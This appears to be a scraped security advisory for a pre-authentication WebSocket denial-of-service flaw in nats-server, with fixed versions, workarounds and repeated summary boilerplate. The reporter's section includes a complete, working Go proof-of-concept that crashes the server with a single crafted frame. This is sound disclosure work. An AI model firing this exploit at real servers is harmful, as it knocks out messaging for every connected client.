NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.
### Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
### Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
### Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
### Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
### Solution
Upgrade the NATS server to a fixed version.
### Credits
This was reported to the NATS maintainers by GitHub user Mistz1.
Also independently reported by GitHub user jiayuqi7813.
-----
## Report by @Mistz1
### Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` → `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
### Details
**Vulnerable code:** [`server/websocket.go` line 278](https://github.com/nats-io/nats-server/blob/a69f51f/server/websocket.go#L278)
```go
r.rem = int(binary.BigEndian.Uint64(tmpBuf))
```
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* — but nats-server never checks this.
**Attack chain:**
1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`).
2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).
3. `r.rem` is now negative. At line 307–311, the bounds clamp fails:
```go
n = r.rem // n = -9223372036854775807
if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE
n = max - pos // clamp NEVER fires
}
b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC
```
The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
4. There is **no `defer recover()`** anywhere in the goroutine chain:
- [`startGoRoutine`](https://github.com/nats-io/nats-server/blob/a69f51f/server/server.go#L4076-L4079): `go func() { f() }()` — no recovery
- [`readLoop`](https://github.com/nats-io/nats-server/blob/a69f51f/server/client.go#L1387-L1394): defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls `os.Exit(2)`. The **entire nats-server process terminates**.
5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade — **before any NATS CONNECT authentication**. No credentials are required.
**Why 15 bytes, not 14:** The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos < max`) is skipped. The poisoned `r.rem` persists in the `wsReadInfo` struct. One additional byte of "payload" is needed so that `pos < max` on either the same or next read, entering the panic path at line 311.
### PoC
**Server configuration** (`test-ws.conf`):
```
listen: 127.0.0.1:4222
websocket {
listen: "127.0.0.1:9222"
no_tls: true
}
```
**Start the server:**
```bash
nats-server -c test-ws.conf
```
**Exploit** (`poc_ws_crash.go`):
```go
package main
import (
"bufio"
"encoding/binary"
"fmt"
"net"
"net/http"
"os"
"time"
)
func main() {
target := "127.0.0.1:9222"
if len(os.Args) > 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}
```
**Run:**
```bash
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash
```
**Observed server output before termination:**
```
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32
```
**Tested against:** nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux/amd64.
### Impact
**Vulnerability type:** Pre-authentication remote denial of service (full process crash).
**Who is impacted:** Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
**Severity:** A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
**Affected platforms:** All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details.
This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Risk history
Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.
When does an EPSS score appear as a change?
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.
Advisory history
14 saved versions
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
How advisory history works
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…
NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in…